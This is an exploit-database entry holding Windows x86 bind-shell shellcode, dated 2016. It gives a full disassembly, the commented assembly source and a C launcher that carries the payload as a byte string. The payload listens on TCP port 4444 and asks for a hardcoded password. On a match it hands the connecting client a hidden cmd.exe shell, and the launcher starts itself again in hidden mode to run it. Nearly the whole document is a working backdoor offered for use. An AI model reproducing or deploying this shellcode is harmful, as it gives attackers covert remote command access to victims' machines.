/* # Title : Windows x86 password protected bind shell tcp shellcode # Date : 12-09-2016 # Author : Roziul Hasan Khan Shifat # size : 637 bytes # Tested On : Windows 7 ultimate x86 x64 # Email : shifath12@gmail.com */ /* Disassembly of section .text: 00000000 <_start>: 0: 99 cltd 1: 64 8b 42 30 mov %fs:0x30(%edx),%eax 5: 8b 40 0c mov 0xc(%eax),%eax 8: 8b 70 14 mov 0x14(%eax),%esi b: ad lods %ds:(%esi),%eax c: 96 xchg %eax,%esi d: ad lods %ds:(%esi),%eax e: 8b 78 10 mov 0x10(%eax),%edi 11: 8b 5f 3c mov 0x3c(%edi),%ebx 14: 01 fb add %edi,%ebx 16: 8b 5b 78 mov 0x78(%ebx),%ebx 19: 01 fb add %edi,%ebx 1b: 8b 73 20 mov 0x20(%ebx),%esi 1e: 01 fe add %edi,%esi 00000020 : 20: 42 inc %edx 21: ad lods %ds:(%esi),%eax 22: 01 f8 add %edi,%eax 24: 81 38 47 65 74 50 cmpl $0x50746547,(%eax) 2a: 75 f4 jne 20 2c: 81 78 04 72 6f 63 41 cmpl $0x41636f72,0x4(%eax) 33: 75 eb jne 20 35: 81 78 08 64 64 72 65 cmpl $0x65726464,0x8(%eax) 3c: 75 e2 jne 20 3e: 8b 73 1c mov 0x1c(%ebx),%esi 41: 01 fe add %edi,%esi 43: 8b 0c 96 mov (%esi,%edx,4),%ecx 46: 01 f9 add %edi,%ecx 48: 83 ec 50 sub $0x50,%esp 4b: 8d 34 24 lea (%esp),%esi 4e: 89 0e mov %ecx,(%esi) 50: 99 cltd 51: 68 73 41 41 41 push $0x41414173 56: 88 54 24 02 mov %dl,0x2(%esp) 5a: 68 6f 63 65 73 push $0x7365636f 5f: 68 74 65 50 72 push $0x72506574 64: 68 43 72 65 61 push $0x61657243 69: 8d 14 24 lea (%esp),%edx 6c: 52 push %edx 6d: 57 push %edi 6e: ff d1 call *%ecx 70: 83 c4 10 add $0x10,%esp 73: 89 46 04 mov %eax,0x4(%esi) 76: 99 cltd 77: 68 65 73 73 41 push $0x41737365 7c: 88 54 24 03 mov %dl,0x3(%esp) 80: 68 50 72 6f 63 push $0x636f7250 85: 68 45 78 69 74 push $0x74697845 8a: 8d 14 24 lea (%esp),%edx 8d: 52 push %edx 8e: 57 push %edi 8f: ff 16 call *(%esi) 91: 83 c4 0c add $0xc,%esp 94: 89 46 08 mov %eax,0x8(%esi) 97: 99 cltd 98: 52 push %edx 99: 68 61 72 79 41 push $0x41797261 9e: 68 4c 69 62 72 push $0x7262694c a3: 68 4c 6f 61 64 push $0x64616f4c a8: 8d 14 24 lea (%esp),%edx ab: 52 push %edx ac: 57 push %edi ad: ff 16 call *(%esi) af: 83 c4 0c add $0xc,%esp b2: 99 cltd b3: 68 6c 6c 6c 6c push $0x6c6c6c6c b8: 88 54 24 02 mov %dl,0x2(%esp) bc: 68 33 32 2e 64 push $0x642e3233 c1: 68 77 73 32 5f push $0x5f327377 c6: 8d 14 24 lea (%esp),%edx c9: 52 push %edx ca: ff d0 call *%eax cc: 83 c4 0c add $0xc,%esp cf: 97 xchg %eax,%edi d0: 8b 5f 3c mov 0x3c(%edi),%ebx d3: 01 fb add %edi,%ebx d5: 8b 5b 78 mov 0x78(%ebx),%ebx d8: 01 fb add %edi,%ebx da: 8b 5b 1c mov 0x1c(%ebx),%ebx dd: 01 fb add %edi,%ebx df: 99 cltd e0: 66 ba c8 01 mov $0x1c8,%dx e4: 8b 04 13 mov (%ebx,%edx,1),%eax e7: 01 f8 add %edi,%eax e9: 89 46 0c mov %eax,0xc(%esi) ec: 8b 43 50 mov 0x50(%ebx),%eax ef: 01 f8 add %edi,%eax f1: 89 46 10 mov %eax,0x10(%esi) f4: 8b 43 04 mov 0x4(%ebx),%eax f7: 01 f8 add %edi,%eax f9: 89 46 14 mov %eax,0x14(%esi) fc: 8b 03 mov (%ebx),%eax fe: 01 f8 add %edi,%eax 100: 89 46 18 mov %eax,0x18(%esi) 103: 8b 43 30 mov 0x30(%ebx),%eax 106: 01 f8 add %edi,%eax 108: 89 46 1c mov %eax,0x1c(%esi) 10b: 8b 43 08 mov 0x8(%ebx),%eax 10e: 01 f8 add %edi,%eax 110: 89 46 20 mov %eax,0x20(%esi) 113: 8b 43 3c mov 0x3c(%ebx),%eax 116: 01 f8 add %edi,%eax 118: 89 46 24 mov %eax,0x24(%esi) 11b: 66 ba 88 01 mov $0x188,%dx 11f: 8b 04 13 mov (%ebx,%edx,1),%eax 122: 01 f8 add %edi,%eax 124: 89 46 28 mov %eax,0x28(%esi) 127: 8b 43 48 mov 0x48(%ebx),%eax 12a: 01 f8 add %edi,%eax 12c: 89 46 2c mov %eax,0x2c(%esi) 12f: 99 cltd 130: 8d 4e 30 lea 0x30(%esi),%ecx 133: c6 01 02 movb $0x2,(%ecx) 136: 66 c7 41 02 11 5c movw $0x5c11,0x2(%ecx) 13c: 89 51 04 mov %edx,0x4(%ecx) 13f: 89 51 08 mov %edx,0x8(%ecx) 142: 89 51 0c mov %edx,0xc(%ecx) 145: 8d 4e 40 lea 0x40(%esi),%ecx 148: c7 01 45 6e 74 65 movl $0x65746e45,(%ecx) 14e: c7 41 04 72 20 70 61 movl $0x61702072,0x4(%ecx) 155: c7 41 08 73 73 20 63 movl $0x63207373,0x8(%ecx) 15c: c7 41 0c 6f 64 65 3a movl $0x3a65646f,0xc(%ecx) 163: 99 cltd 164: 66 ba 90 01 mov $0x190,%dx 168: 29 d4 sub %edx,%esp 16a: 8d 0c 24 lea (%esp),%ecx 16d: 83 c2 72 add $0x72,%edx 170: 51 push %ecx 171: 52 push %edx 172: ff 56 0c call *0xc(%esi) 175: 99 cltd 176: 52 push %edx 177: 52 push %edx 178: 52 push %edx 179: b2 06 mov $0x6,%dl 17b: 52 push %edx 17c: 99 cltd 17d: 42 inc %edx 17e: 52 push %edx 17f: 42 inc %edx 180: 52 push %edx 181: ff 56 28 call *0x28(%esi) 184: 97 xchg %eax,%edi 185: 99 cltd 186: 42 inc %edx 187: 52 push %edx 188: 8d 0c 24 lea (%esp),%ecx 18b: 42 inc %edx 18c: 52 push %edx 18d: 51 push %ecx 18e: 83 c2 02 add $0x2,%edx 191: 52 push %edx 192: 99 cltd 193: 66 ba ff ff mov $0xffff,%dx 197: 52 push %edx 198: 57 push %edi 199: ff 56 10 call *0x10(%esi) 19c: 99 cltd 19d: b2 10 mov $0x10,%dl 19f: 52 push %edx 1a0: 8d 4e 30 lea 0x30(%esi),%ecx 1a3: 52 push %edx 1a4: 51 push %ecx 1a5: 57 push %edi 1a6: ff 56 14 call *0x14(%esi) 1a9: 99 cltd 1aa: 42 inc %edx 1ab: 52 push %edx 1ac: 57 push %edi 1ad: ff 56 1c call *0x1c(%esi) 1b0: 99 cltd 1b1: 8d 5e 30 lea 0x30(%esi),%ebx 1b4: 89 13 mov %edx,(%ebx) 1b6: 89 53 04 mov %edx,0x4(%ebx) 1b9: 89 53 08 mov %edx,0x8(%ebx) 1bc: 89 53 0c mov %edx,0xc(%ebx) 000001bf : 1bf: 99 cltd 1c0: b2 10 mov $0x10,%dl 1c2: 52 push %edx 1c3: 8d 0c 24 lea (%esp),%ecx 1c6: 8d 5e 30 lea 0x30(%esi),%ebx 1c9: 51 push %ecx 1ca: 53 push %ebx 1cb: 57 push %edi 1cc: ff 56 18 call *0x18(%esi) 1cf: 99 cltd 1d0: 50 push %eax 1d1: 52 push %edx 1d2: b2 10 mov $0x10,%dl 1d4: 52 push %edx 1d5: 8d 4e 40 lea 0x40(%esi),%ecx 1d8: 51 push %ecx 1d9: 50 push %eax 1da: ff 56 2c call *0x2c(%esi) 1dd: 58 pop %eax 1de: 89 c3 mov %eax,%ebx 1e0: 99 cltd 1e1: 52 push %edx 1e2: b2 10 mov $0x10,%dl 1e4: 52 push %edx 1e5: 8d 4e 40 lea 0x40(%esi),%ecx 1e8: 51 push %ecx 1e9: 50 push %eax 1ea: ff 56 24 call *0x24(%esi) 1ed: 8d 4e 40 lea 0x40(%esi),%ecx 1f0: 81 39 64 61 6d 6e cmpl $0x6e6d6164,(%ecx) 1f6: 75 5e jne 256 1f8: 81 79 04 5f 69 74 21 cmpl $0x2174695f,0x4(%ecx) 1ff: 75 55 jne 256 201: 81 79 08 24 24 23 23 cmpl $0x23232424,0x8(%ecx) 208: 75 4c jne 256 20a: 81 79 0c 40 3b 2a 23 cmpl $0x232a3b40,0xc(%ecx) 211: 75 43 jne 256 213: 89 df mov %ebx,%edi 215: 83 ec 10 sub $0x10,%esp 218: 8d 1c 24 lea (%esp),%ebx 21b: 99 cltd 21c: 57 push %edi 21d: 57 push %edi 21e: 57 push %edi 21f: 52 push %edx 220: 52 push %edx 221: b2 ff mov $0xff,%dl 223: 42 inc %edx 224: 52 push %edx 225: 99 cltd 226: 52 push %edx 227: 52 push %edx 228: 52 push %edx 229: 52 push %edx 22a: 52 push %edx 22b: 52 push %edx 22c: 52 push %edx 22d: 52 push %edx 22e: 52 push %edx 22f: 52 push %edx 230: b2 44 mov $0x44,%dl 232: 52 push %edx 233: 8d 0c 24 lea (%esp),%ecx 236: 99 cltd 237: 68 63 6d 64 41 push $0x41646d63 23c: 88 54 24 03 mov %dl,0x3(%esp) 240: 8d 04 24 lea (%esp),%eax 243: 53 push %ebx 244: 51 push %ecx 245: 52 push %edx 246: 52 push %edx 247: 52 push %edx 248: 42 inc %edx 249: 52 push %edx 24a: 99 cltd 24b: 52 push %edx 24c: 52 push %edx 24d: 50 push %eax 24e: 52 push %edx 24f: ff 56 04 call *0x4(%esi) 252: 50 push %eax 253: ff 56 08 call *0x8(%esi) 00000256 : 256: 53 push %ebx 257: ff 56 20 call *0x20(%esi) 25a: 8d 4e 40 lea 0x40(%esi),%ecx 25d: c7 01 45 6e 74 65 movl $0x65746e45,(%ecx) 263: c7 41 04 72 20 70 61 movl $0x61702072,0x4(%ecx) 26a: c7 41 08 73 73 20 63 movl $0x63207373,0x8(%ecx) 271: c7 41 0c 6f 64 65 3a movl $0x3a65646f,0xc(%ecx) 278: e9 42 ff ff ff jmp 1bf */ /* section .text global _start _start: cdq mov eax,[fs:edx+0x30] ;PEB mov eax,[eax+0xc] ;PEB.Ldr mov esi,[eax+0x14] ;PEB.Ldr->InMemOrderModuleList lodsd xchg esi,eax lodsd mov edi,[eax+0x10] ;kernel32.dll base address mov ebx,[edi+0x3c] add ebx,edi mov ebx,[ebx+0x78] add ebx,edi mov esi,[ebx+0x20] add esi,edi g: inc edx lodsd add eax,edi cmp dword [eax],'GetP' jne g cmp dword [eax+4],'rocA' jne g cmp dword [eax+8],'ddre' jne g mov esi,[ebx+0x1c] add esi,edi mov ecx,[esi+edx*4] add ecx,edi sub esp,80 lea esi,[esp] mov [esi],dword ecx ;GetProcAddress() 0 ;----------------------- ;address CreateProcessA() cdq push 0x41414173 mov [esp+2],byte dl push 0x7365636f push 0x72506574 push 0x61657243 lea edx,[esp] push edx push edi call ecx ;---------------------- add esp,16 mov [esi+4],dword eax ;CreateProcessA() 4 ;------------------------------- ;address ExitProcess() cdq push 0x41737365 mov [esp+3],byte dl push 0x636f7250 push 0x74697845 lea edx,[esp] push edx push edi call [esi] ;------------------------------- add esp,12 mov [esi+8],dword eax ;ExitProcess() 8 ;---------------------------------- cdq push edx push 0x41797261 push 0x7262694c push 0x64616f4c lea edx,[esp] push edx push edi call [esi] add esp,12 ;------------------------ ;loading ws2_32.dll cdq push 0x6c6c6c6c mov [esp+2],byte dl push 0x642e3233 push 0x5f327377 lea edx,[esp] push edx call eax ;--------------------------------- add esp,12 xchg edi,eax mov ebx,[edi+0x3c] add ebx,edi mov ebx,[ebx+0x78] add ebx,edi mov ebx,[ebx+0x1c] add ebx,edi cdq mov dx,456 mov eax,[ebx+edx] add eax,edi mov [esi+12],dword eax ;WSAStartup() 12 mov eax,[ebx+80] add eax,edi mov [esi+16],dword eax ;setsockopt() 16 mov eax,[ebx+4] add eax,edi mov [esi+20],dword eax ;bind() 20 mov eax,[ebx] add eax,edi mov [esi+24],dword eax ;accept() 24 mov eax,[ebx+48] add eax,edi mov [esi+28],dword eax ;listen() 28 mov eax,[ebx+8] add eax,edi mov [esi+32],dword eax ;closesocket() 32 mov eax,[ebx+60] add eax,edi mov [esi+36],dword eax ;recv() 36 mov dx,392 mov eax,[ebx+edx] add eax,edi mov [esi+40],dword eax ;WSASocketA() 40 mov eax,[ebx+72] add eax,edi mov [esi+44],dword eax ;send() 44 ;--------------------------------- cdq lea ecx,[esi+48] mov [ecx],byte 2 mov [ecx+2],word 0x5c11 mov [ecx+4],edx mov [ecx+8],edx mov [ecx+12],edx lea ecx,[esi+64] mov [ecx],dword 'Ente' mov [ecx+4],dword 'r pa' mov [ecx+8],dword 'ss c' mov [ecx+12],dword 'ode:' ;----------------------------------- ;WSAStartup(514,&WSADATA) cdq mov dx,400 sub esp,edx lea ecx,[esp] add edx,114 push ecx push edx call [esi+12] ;-------------------------------- ;--------------------------- ;;WSASocketA(2,1,6,0,0,0) cdq push edx push edx push edx mov dl,6 push edx cdq inc edx push edx inc edx push edx call [esi+40] xchg edi,eax ;SOCKET ;------------------------------------- ;setsockopt(SOCKET,0xffff,4,&1,2) cdq inc edx push edx lea ecx,[esp] inc edx push edx push ecx add edx,2 push edx cdq mov dx,0xffff push edx push edi call [esi+16] ;---------------------- ;bind(SOCKET,(struct sockaddr *)&struct sockaddr_in,16) cdq mov dl,16 push edx lea ecx,[esi+48] push edx push ecx push edi call [esi+20] ;---------------------------- ;listen(SOCKET,1) cdq inc edx push edx push edi call [esi+28] cdq lea ebx,[esi+48] mov [ebx],edx mov [ebx+4],edx mov [ebx+8],edx mov [ebx+12],edx a: ;----------------------------- ;accept(SOCKET,(struct sockaddr *)&struct sockaddr_in,&16) cdq mov dl,16 push edx lea ecx,[esp] lea ebx,[esi+48] push ecx push ebx push edi call [esi+24] ;--------------------------------- ;send(SOCKET,char *a[],16,0) cdq push eax push edx mov dl,16 push edx lea ecx,[esi+64] push ecx push eax call [esi+44] ;----------------------- pop eax ;recv(SOCKET,char *a[],16,0) mov ebx,eax cdq push edx mov dl,16 push edx lea ecx,[esi+64] push ecx push eax call [esi+36] ;---------------------------------- lea ecx,[esi+64] cmp dword [ecx],'damn' jne kick_out cmp dword [ecx+4],'_it!' jne kick_out cmp dword [ecx+8],'$$##' jne kick_out cmp dword [ecx+12],'@;*#' jne kick_out ;password-> damn_it!$$##@;*# mov edi,ebx sub esp,16 lea ebx,[esp] cdq push edi push edi push edi push edx push edx mov dl,255 inc edx push edx cdq push edx push edx push edx push edx push edx push edx push edx push edx push edx push edx mov dl,68 push edx lea ecx,[esp] cdq push 'cmdA' mov [esp+3],byte dl lea eax,[esp] ;------------------------------------------------- push ebx push ecx push edx push edx push edx inc edx push edx cdq push edx push edx push eax push edx call [esi+4] push eax call [esi+8] kick_out: push ebx call [esi+32] lea ecx,[esi+64] mov [ecx],dword 'Ente' mov [ecx+4],dword 'r pa' mov [ecx+8],dword 'ss c' mov [ecx+12],dword 'ode:' jmp a */ #include #include #include #include char shellcode[]="\x99\x64\x8b\x42\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x78\x10\x8b\x5f\x3c\x01\xfb\x8b\x5b\x78\x01\xfb\x8b\x73\x20\x01\xfe\x42\xad\x01\xf8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xfe\x8b\x0c\x96\x01\xf9\x83\xec\x50\x8d\x34\x24\x89\x0e\x99\x68\x73\x41\x41\x41\x88\x54\x24\x02\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x8d\x14\x24\x52\x57\xff\xd1\x83\xc4\x10\x89\x46\x04\x99\x68\x65\x73\x73\x41\x88\x54\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x14\x24\x52\x57\xff\x16\x83\xc4\x0c\x89\x46\x08\x99\x52\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x8d\x14\x24\x52\x57\xff\x16\x83\xc4\x0c\x99\x68\x6c\x6c\x6c\x6c\x88\x54\x24\x02\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x8d\x14\x24\x52\xff\xd0\x83\xc4\x0c\x97\x8b\x5f\x3c\x01\xfb\x8b\x5b\x78\x01\xfb\x8b\x5b\x1c\x01\xfb\x99\x66\xba\xc8\x01\x8b\x04\x13\x01\xf8\x89\x46\x0c\x8b\x43\x50\x01\xf8\x89\x46\x10\x8b\x43\x04\x01\xf8\x89\x46\x14\x8b\x03\x01\xf8\x89\x46\x18\x8b\x43\x30\x01\xf8\x89\x46\x1c\x8b\x43\x08\x01\xf8\x89\x46\x20\x8b\x43\x3c\x01\xf8\x89\x46\x24\x66\xba\x88\x01\x8b\x04\x13\x01\xf8\x89\x46\x28\x8b\x43\x48\x01\xf8\x89\x46\x2c\x99\x8d\x4e\x30\xc6\x01\x02\x66\xc7\x41\x02\x11\x5c\x89\x51\x04\x89\x51\x08\x89\x51\x0c\x8d\x4e\x40\xc7\x01\x45\x6e\x74\x65\xc7\x41\x04\x72\x20\x70\x61\xc7\x41\x08\x73\x73\x20\x63\xc7\x41\x0c\x6f\x64\x65\x3a\x99\x66\xba\x90\x01\x29\xd4\x8d\x0c\x24\x83\xc2\x72\x51\x52\xff\x56\x0c\x99\x52\x52\x52\xb2\x06\x52\x99\x42\x52\x42\x52\xff\x56\x28\x97\x99\x42\x52\x8d\x0c\x24\x42\x52\x51\x83\xc2\x02\x52\x99\x66\xba\xff\xff\x52\x57\xff\x56\x10\x99\xb2\x10\x52\x8d\x4e\x30\x52\x51\x57\xff\x56\x14\x99\x42\x52\x57\xff\x56\x1c\x99\x8d\x5e\x30\x89\x13\x89\x53\x04\x89\x53\x08\x89\x53\x0c\x99\xb2\x10\x52\x8d\x0c\x24\x8d\x5e\x30\x51\x53\x57\xff\x56\x18\x99\x50\x52\xb2\x10\x52\x8d\x4e\x40\x51\x50\xff\x56\x2c\x58\x89\xc3\x99\x52\xb2\x10\x52\x8d\x4e\x40\x51\x50\xff\x56\x24\x8d\x4e\x40\x81\x39\x64\x61\x6d\x6e\x75\x5e\x81\x79\x04\x5f\x69\x74\x21\x75\x55\x81\x79\x08\x24\x24\x23\x23\x75\x4c\x81\x79\x0c\x40\x3b\x2a\x23\x75\x43\x89\xdf\x83\xec\x10\x8d\x1c\x24\x99\x57\x57\x57\x52\x52\xb2\xff\x42\x52\x99\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\xb2\x44\x52\x8d\x0c\x24\x99\x68\x63\x6d\x64\x41\x88\x54\x24\x03\x8d\x04\x24\x53\x51\x52\x52\x52\x42\x52\x99\x52\x52\x50\x52\xff\x56\x04\x50\xff\x56\x08\x53\xff\x56\x20\x8d\x4e\x40\xc7\x01\x45\x6e\x74\x65\xc7\x41\x04\x72\x20\x70\x61\xc7\x41\x08\x73\x73\x20\x63\xc7\x41\x0c\x6f\x64\x65\x3a\xe9\x42\xff\xff\xff"; int main(int i,char *a[]) { int mode; if(i==1) mode=1; else mode=atoi(a[1]); switch(mode) { case 78: (* (int(*)())shellcode )(); break; case 1: ShellExecute(NULL,NULL,a[0],"78",NULL,0); default: break; } return 0; } # Iranian Exploit DataBase = http://IeDb.Ir [2016-10-15]